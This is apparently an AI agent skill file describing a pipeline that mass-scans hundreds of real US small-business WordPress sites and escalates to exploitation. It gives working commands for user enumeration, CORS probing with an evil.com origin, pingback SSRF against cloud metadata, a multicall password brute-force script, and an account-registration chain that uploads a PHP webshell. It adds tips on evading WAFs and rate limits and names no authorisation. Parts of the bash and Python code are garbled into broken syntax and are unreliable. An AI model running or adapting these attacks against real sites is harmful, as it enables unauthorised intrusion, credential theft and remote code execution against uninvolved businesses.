| name | wp-mass-recon |
| description | Batch WP recon: users, CORS, XMLRPC, leaks across domains. |
WP Mass Recon Skill
Batch WordPress vulnerability detection pipeline for scanning dozens to hundreds of domains in parallel. Detects WordPress presence, REST API user enumeration, CORS credential reflection, XMLRPC exposure, open registration, and sensitive file leaks in a single pass. Proven on 600+ US company domains across 28 sectors.
When to Use
- Starting recon on a batch of 10+ domains.
- Sector-wide vulnerability mapping (law firms, pest control, landscaping, pools, roofing, HVAC, etc.).
- After
subfinder/crt.sh produces a target list and you need to triage.
- You want maximum findings per minute with a parallelizable pipeline.
Prerequisites
terminal tool with access to the worker container (curl, httpx, python3, jq).
- Target list file at
/root/output/targets.txt in format domain|company|sector (one per line).
- Worker container has
parallel_batch.py available or you use the inline commands below.
How to Run
httpx -silent -l targets.txt -threads 50 -tech-detect -status-code -title -o /root/output/alive.txt
python3 /root/output/recon_us/new_targets/parallel_batch.py /root/output/targets.txt 20
Or run the 4-phase pipeline manually using the commands in Procedure.
Quick Reference
| Check | Command | Positive Signal |
|---|
| WP detection | curl -skI "https://TARGET/wp-login.php" | HTTP 200/301/302 |
| User enum | curl -sk "https://TARGET/wp-json/wp/v2/users" | JSON with id, name, slug |
| CORS | curl -skI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | Access-Control-Allow-Credentials: true |
| XMLRPC | curl -sk -X POST "https://TARGET/xmlrpc.php" -d '<methodCall><methodName>demo.sayHello</methodName></methodCall>' | Hello! in body |
| Open reg | curl -sk "https://TARGET/wp-login.php?action=register" | Form with user_login field |
| Source leaks | Parallel curl for .env, wp-config.php.bak, .git/config, debug.log, backup.sql | Real content (not SPA catch-all) |
Procedure
Phase 1 — Target Preparation
for sector in "landscaping" "roofing" "hvac" "pools" "plumbing"; do
curl -sk "https://crt.sh/?q=%25.${sector}%25&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u >> /root/output/discovered.txt
done
cat /root/output/discovered.txt | sed 's/^www\.//' | sort -u > /root/output/unique_domains.txt
Phase 2 — Live Host Discovery
httpx -silent -l /root/output/unique_domains.txt -threads 50 -tech-detect -status-code -title \
-o /root/output/alive.txt
awk '{print $1}' /root/output/alive.txt | grep -E '^https?://' > /root/output/urls.txt
Phase 3 — Parallel Vulnerability Scan
For each live target, run in parallel (20 workers):
while read -r url; do
domain=$(echo "$url" | sed 's|https\?://||')
(
echo "# $domain Findings" > "/root/output/findings/${domain}_findings.md"
wp_code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 "$url/wp-login.php")
[[ "$wp_code" =~ ^(200|301|302|403)$ ]] && echo "- WordPress: YES (wp-login: $wp_code)" >> "/root/output/findings/${domain}_findings.md"
users=$(curl -sk --max-time 10 "$url/wp-json/wp/v2/users" | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d) if isinstance(d,list) else 0)" 2>/dev/null)
[[ "$users" -gt 0 ]] && echo "- Users exposed: $users" >> "/root/output/findings/${domain}_findings.md"
cors=$(curl -skI --max-time 10 "$url/wp-json/wp/v2/users" -H "Origin: https://evil.com" 2>/dev/null | grep -i "access-control-allow-credentials: true")
[[ -n "$cors" ]] && echo "- CORS: CREDENTIAL REFLECTION CONFIRMED" >> "/root/output/findings/${domain}_findings.md"
xmlrpc=$(curl -sk -o /dev/null -w --max-time 10 -X POST \
-d )
[[ == ]] && >>
reg=$(curl -sk --max-time 10 | grep -o )
[[ -n ]] && >>
path ;
leak_code=$(curl -sk -o /dev/null -w --max-time 5 )
[[ == ]];
content=$(curl -sk --max-time 5 | -c 500)
| grep -qiE ;
>>
) &
[[ $( -r | -l) -ge 20 ]]; 0.5;
< /root/output/urls.txt
Phase 4 — Consolidation
echo "## Mass Recon Summary" > /root/output/mass_summary.md
echo "" >> /root/output/mass_summary.md
for f in /root/output/findings/*_findings.md; do
domain=$(basename "$f" _findings.md)
criticals=$(grep -c "CRITICAL\|CREDENTIAL REFLECTION\|XMLRPC: OPEN\|Source leak: VERIFIED" "$f" || true)
[[ "$criticals" -gt 0 ]] && echo "- **$domain**: $criticals findings" >> /root/output/mass_summary.md
done
grep "^\- \*\*" /root/output/mass_summary.md | sort -t: -k2 -rn | head -20
Production Scanner (Python — parallel_batch.py pattern)
The production-proven approach uses concurrent.futures.ThreadPoolExecutor with 20 workers. Each worker calls curl via subprocess.run. This is 10x faster than bash while loops.
import concurrent.futures, subprocess, json
def curl_code(url, timeout=8):
cmd = ["curl", "-sk", "-m", str(timeout), "-o", "/dev/null", "-w", "%{http_code}", url]
r = subprocess.run(cmd, capture_output=True, timeout=timeout+5)
return r.stdout.decode().strip()
def test_target(domain):
proto = None
for p in ["https", "http"]:
code = curl_code(f"{p}://{domain}/")
if code not in ["000", ""]: proto = p; break
if not proto: return None
login_code = curl_code(f"{proto}://{domain}/wp-login.php")
json_code = curl_code(f"{proto}://{domain}/wp-json/")
is_wp = login_code not in ["000","404",""] or json_code [,,]
is_wp: {:domain, :}
score =
findings = []
body, _ = curl_raw()
:
data = json.loads(body.decode())
(data, ) (data) > :
findings.append()
score +=
:
cmd = [,,,,,,,
]
r = subprocess.run(cmd, capture_output=, timeout=)
hdrs = r.stdout.decode().lower()
acao = [l.split(,)[].strip() l hdrs.split() l]
acac = [l.split(,)[].strip() l hdrs.split() l]
acao acao[] acac acac[] == :
findings.append()
score +=
xml =
body, _ = curl_raw(, method=, data=xml)
txt = body.decode()
txt:
findings.append()
score +=
txt:
findings.append()
body, _ = curl_raw()
rt = body.decode().lower()
rt rt rt:
findings.append()
score +=
score >= : severity =
score >= : severity =
score >= : severity =
score >= : severity =
: severity =
{:domain, :severity, :score, :findings}
targets = [(d.strip(), s.strip()) line () (p := line.split()) (d:=p[]) (s:=p[-] (p)> )]
concurrent.futures.ThreadPoolExecutor(max_workers=) ex:
futures = {ex.submit(test_target, t[]): t t targets}
f concurrent.futures.as_completed(futures):
r = f.result()
r r.get(,) > :
()
Pitfalls
- SPA catch-all false positives: Single-page apps return 200 for every path. Always verify
.env has DB_/APP_/_KEY/_SECRET patterns; .git/config has [core]; SQL files have CREATE TABLE/INSERT INTO. Skip bodies with <html or <script in first 100 chars.
- Cloudflare/WAF blocking: httpx may show tech as "Cloudflare" but WP is behind it. Try HTTP/1.0 for WP Engine-hosted sites:
curl -sk --http1.0 "https://TARGET/wp-json/..."
- Rate limiting: WP Engine and Hostinger throttle after ~50 requests. Use 2-4s jitter between requests. Chrome/125 UA has 0% block rate; curl/8.4 UA has 5% block rate; Python urllib has 15%.
- WordPress on subpaths: Check
/blog/, /magical/, /wp/ in addition to root. ecommerce-wine.com has /magical/ with separate, more vulnerable WP install.
- Non-standard XMLRPC paths: Some hosts rename xmlrpc.php. Verify with
system.listMethods (not just HTTP 200) — look for <string> tags in response XML.
- Registration form false positives: Many sites show login form on
?action=register without actually allowing registration. The v2 check requires ALL THREE strings: register + user_login + wp-submit.
Real-World Results (from 600+ US targets)
| Finding | Frequency | Best Sector |
|---|
| WP user enumeration | ~9% (55/600) | Landscaping, Law Firms |
| Sensitive files (3+) | ~7% (41 sites) | Auto Body, Window Cleaning |
| CORS credential reflection | ~3.3% (20+ sites) | Law Firms, Real Estate |
| XMLRPC system.multicall | ~1.7% (10+ sites) | HVAC, Landscaping |
| PHPInfo/info.php exposed | ~1.7% (~10 sites) | Dental, Gyms |
| MySQL 3306 exposed | 0.17% (1 site) | Healthcare SaaS |
WordPress = 36.5% of all US SMB targets. All CORS/XMLRPC vulns occur EXCLUSIVELY on WordPress.
XMLRPC Deep Exploitation
When wp-mass-recon Phase 3 detects XMLRPC active (HTTP 200 on POST), escalate with the 5-phase exploitation pipeline below. XMLRPC is open on ~52% of WordPress targets.
Phase 1 — Bulk Detection & Method Enumeration
curl -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>'
curl -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "import sys,re; print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))" | sort
Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.
| Method | Capability | Severity |
|---|
system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
wp.getUsers | Enumerate WordPress users | Medium |
wp.uploadFile | Upload file to media library | Critical — webshell with valid creds |
wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium |
Phase 2 — SSRF via pingback.ping
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
faultCode reference: faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error. Use python3 -c "import sys,re; fc=re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read()); print(fc.group(1) if fc else 'no-fault')" to extract.
Blind SSRF Data Extraction via Timing Oracle: When pingback.ping returns faultCode 0 but you cannot see response content, use timing differences. The server's response time correlates with content SIZE — existing IMDS data returns slower than 404s. Run 3 trials, use median, expect ±50ms jitter.
Phase 3 — Amplified Brute Force (system.multicall)
system.multicall allows 100+ wp.getUsers calls in a single HTTP request — up to 1000x amplification over sequential brute force.
TARGET="$1"
USERNAME="admin"
WORDLIST="/root/tools/passwords.txt"
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
Success markers: A successful auth shows isAdmin, blogid, or blogName in the response — not just absence of faultCode 403. LiteSpeed returns HTTP 500 for payloads >50KB — still check the body for success markers.
Phase 4 — RCE via Open Registration + wp.uploadFile
If the target has open registration AND XMLRPC with wp.uploadFile:
Critical: WordPress 6.x registers new users as SUBSCRIBER — subscribers cannot upload via XMLRPC. Verify role via wp.getProfile first. If subscriber, escalate before attempting upload.
TARGET="$1"
curl -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
ROLE_CHECK=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Escalate via: brute force admin (multicall), plugin CVE, or app passwords."
exit 1
fi
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
XMLRPC Pitfalls
- faultCode 0 on pingback ≠ SSRF confirmed. Verify with your own Collaborator callback first.
- Redirect-follow (-L) hides XMLRPC POST responses. Using
curl -L follows redirects and loses the actual XMLRPC response. Always use curl -s WITHOUT -L for XMLRPC probes.
- system.multicall may be restricted. Some hosts expose it in
system.listMethods but return faultCode on actual use. Test with single call first.
- LiteSpeed gzip compression. Add
-H "Accept-Encoding: identity" to curl. Without this, grep finds no faultCodes in compressed binary.
- All ports return faultCode 0 on pingback SSRF. Port scanning via pingback is unreliable — the response does NOT distinguish open vs closed ports.
- IMDSv2 blocks pingback. IMDSv2 requires
X-aws-ec2-metadata-token header. Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.
- Decimal IP encoding bypasses WAF filters. Convert
169.254.169.254 → decimal 2852039166 via struct.unpack('!I', socket.inet_aton('169.254.169.254'))[0].
Verification
- Every CORS finding must show
Access-Control-Allow-Credentials: true in curl -I response headers.
- Every source leak must pass content verification (not just HTTP 200). Skip HTML/SPA responses.
- Every XMLRPC finding must have
system.listMethods response containing <string> method names.
- Score targets with v2 thresholds: WP=+1, users (+2), CORS=+3, XMLRPC multicall=+3, open reg=+2. Score >=6 = deep-dive candidate (Phase 3).
demo.sayHello MUST return Hello! in the response body to confirm XMLRPC functional.
pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).
- RCE chain MUST produce
id or whoami output from the uploaded webshell.